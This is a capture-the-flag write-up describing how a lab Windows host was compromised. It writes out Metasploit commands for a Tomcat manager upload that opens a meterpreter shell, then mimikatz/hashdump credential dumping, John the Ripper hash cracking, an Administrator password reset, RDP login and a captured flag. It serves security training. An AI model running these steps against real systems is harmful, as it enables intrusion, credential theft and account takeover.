Connection with **metasploit**:
use exploit/multi/http/tomcat_mgr_upload
set target Windows\ Universal
set payload windows/meterpreter/bind_tcp
set rhosts 10.162.2.88
set rport 8282
set HttpUsername admin
set HttpPassword 123456
exploit

After this we gain a **meterpreter shell** which we can do some interesting stuff with.
With this we uploaded through meterpreter some scripts like **winPEASx64.exe** and ran it, but this didnt give much information other than what we already knew. We tried some other general things like checking shares, users, ipconfig etc. Checking users gave some additional users but other than that we didnt get much info.

With meterpreter we can also use other resources such as mimikatz which we can load into our meterpreter session with:
load kiwi
Then we can run:
lsa_dump_sam
Also running the command:
hashdump
Dumped all the hashes in a better format which is what we used later for cracking.

We then get the **sam database** which stores username along with their LM and **NT hashes.** NT hashes are the interesting part here sense its their **hashed password**.

To crack these hashes we ran them through **johntheripper**. We first copied the credential dump into a file and then cracked them with this command:
john --format=NT all_hashes

This **cracked all** the **passwords** except for the default windows users like Default, Administrator, WDAGUtilityAccount. After we did this it took a while to be able to understand what to do. We tried to do some password spraying on other ips ssh and also telnet with hydra but it didnt seem to work. So we thought we needed internal access in windows to somehow access something else on the network.

But after a bunch of trial and error, we tried just by sheer luck, the account **blade:nosegay** on the ip with **telnet** up, and we **got a connection** and we found the **flag in /home**.
flag{f9038f55ced19ca3804f05991c1120fa23513d38a00cfd}.jpg

We also changed the Administrator password with:
net user Administrator 123456
With this we managed to connect to rdp where we could launch some gui applications like notepad, task-manager, System Information, registry editor. By coincidence when looking through which exe files there were on the system we saw telnet.exe. From running it on

10.0.0.4 with a random account from the cracked password, which was blade:nosegay, we **got the connection** and we found the **flag in /home**.

Command for rdp:
xfreerdp /v:10.162.2.88 /u:Administrator /:p123456